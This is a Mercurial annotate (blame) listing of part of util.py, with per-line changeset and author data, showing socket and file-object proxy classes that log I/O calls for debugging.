8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	619 r'_orig',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	620 r'_observer',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	621 )
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	622
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	623 def __init__(self, sock, observer):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	624 object.__setattr__(self, r'_orig', sock)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	625 object.__setattr__(self, r'_observer', observer)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	626
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	627 def __getattribute__(self, name):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	628 if name in PROXIED_SOCKET_METHODS:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	629 return object.__getattribute__(self, name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	630
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	631 return getattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	632
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	633 def __delattr__(self, name):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	634 return delattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	635
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	636 def __setattr__(self, name, value):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	637 return setattr(object.__getattribute__(self, r'_orig'), name, value)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	638
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	639 def __nonzero__(self):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	640 return bool(object.__getattribute__(self, r'_orig'))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	641
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	642 __bool__ = __nonzero__
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	643
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	644 def _observedcall(self, name, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	645 # Call the original object.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	646 orig = object.__getattribute__(self, r'_orig')
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	647 res = getattr(orig, name)(args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	648
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	649 # Call a method on the observer of the same name with arguments
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	650 # so it can react, log, etc.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	651 observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	652 fn = getattr(observer, name, None)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	653 if fn:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	654 fn(res, args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	655
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	656 return res
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	657
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	658 def makefile(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	659 res = object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	660 r'makefile', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	661
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	662 # The file object may be used for I/O. So we turn it into a
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	663 # proxy using our observer.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	664 observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	665 return makeloggingfileobject(observer.fh, res, observer.name,
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	666 reads=observer.reads,
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	667 writes=observer.writes,
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	668 logdata=observer.logdata,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	669 logdataapis=observer.logdataapis)
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	670
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	671 def recv(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	672 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	673 r'recv', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	674
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	675 def recvfrom(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	676 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	677 r'recvfrom', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	678
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	679 def recvfrom_into(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	680 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	681 r'recvfrom_into', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	682
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	683 def recv_into(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	684 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	685 r'recv_info', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	686
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	687 def send(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	688 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	689 r'send', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	690
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	691 def sendall(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	692 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	693 r'sendall', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	694
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	695 def sendto(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	696 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	697 r'sendto', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	698
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	699 def setblocking(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	700 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	701 r'setblocking', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	702
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	703 def settimeout(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	704 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	705 r'settimeout', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	706
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	707 def gettimeout(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	708 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	709 r'gettimeout', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	710
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	711 def setsockopt(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	712 return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	713 r'setsockopt', args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	714
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	715 class baseproxyobserver(object):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	716 def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	717 if not self.logdata:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	718 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	719 self.fh.write('\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	720 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	721 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	722
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	723 # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	724 if b'\n' not in data:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	725 if self.logdataapis:
37322 a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr() Yuya Nishihara <yuya@tcha.org> parents: 37124 diff changeset	726 self.fh.write(': %s\n' % stringutil.escapestr(data))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	727 else:
37087 f0b6fbea00cf stringutil: bulk-replace call sites to point to new module Yuya Nishihara <yuya@tcha.org> parents: 37086 diff changeset	728 self.fh.write('%s> %s\n'
37322 a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr() Yuya Nishihara <yuya@tcha.org> parents: 37124 diff changeset	729 % (self.name, stringutil.escapestr(data)))
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	730 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	731 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	732
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	733 # Data with newlines is written to multiple lines.
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	734 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	735 self.fh.write(':\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	736
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	737 lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	738 for line in lines:
37087 f0b6fbea00cf stringutil: bulk-replace call sites to point to new module Yuya Nishihara <yuya@tcha.org> parents: 37086 diff changeset	739 self.fh.write('%s> %s\n'
37322 a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr() Yuya Nishihara <yuya@tcha.org> parents: 37124 diff changeset	740 % (self.name, stringutil.escapestr(line)))
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	741 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	742
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	743 class fileobjectobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	744 """Logs file object activity."""
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	745 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	746 logdataapis=True):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	747 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	748 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	749 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	750 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	751 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	752 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	753
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	754 def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	755 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	756 return
36614 26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	757 # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	758 if res is None:
26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	759 res = ''
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	760
38323 565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	761 if size == -1 and res == '':
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	762 # Suppress pointless read(-1) calls that return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	763 # nothing. These happen _a lot_ on Python 3, and there
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	764 # doesn't seem to be a better workaround to have matching
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	765 # Python 2 and 3 behavior. :(
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	766 return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	767
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	768 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	769 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	770
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	771 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	772
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	773 def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	774 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	775 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	776
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	777 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	778 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	779
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	780 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	781
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	782 def readinto(self, res, dest):
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	783 if not self.reads:
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	784 return
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	785
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	786 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	787 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	788 res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	789
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	790 data = dest[0:res] if res is not None else b''
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	791 self._writedata(data)
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	792
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	793 def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	794 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	795 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	796
36660 8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	797 # Python 2 returns None from some write() calls. Python 3 (reasonably)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	798 # returns the integer bytes written.
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	799 if res is None and data:
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	800 res = len(data)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	801
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	802 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	803 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	804
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	805 self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	806
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	807 def flush(self, res):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	808 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	809 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	810
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	811 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	812
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	813 # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	814 def bufferedread(self, res, size):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	815 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	816 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	817
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	818 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	819 self.fh.write('%s> bufferedread(%d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	820 self.name, size, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	821
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	822 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	823
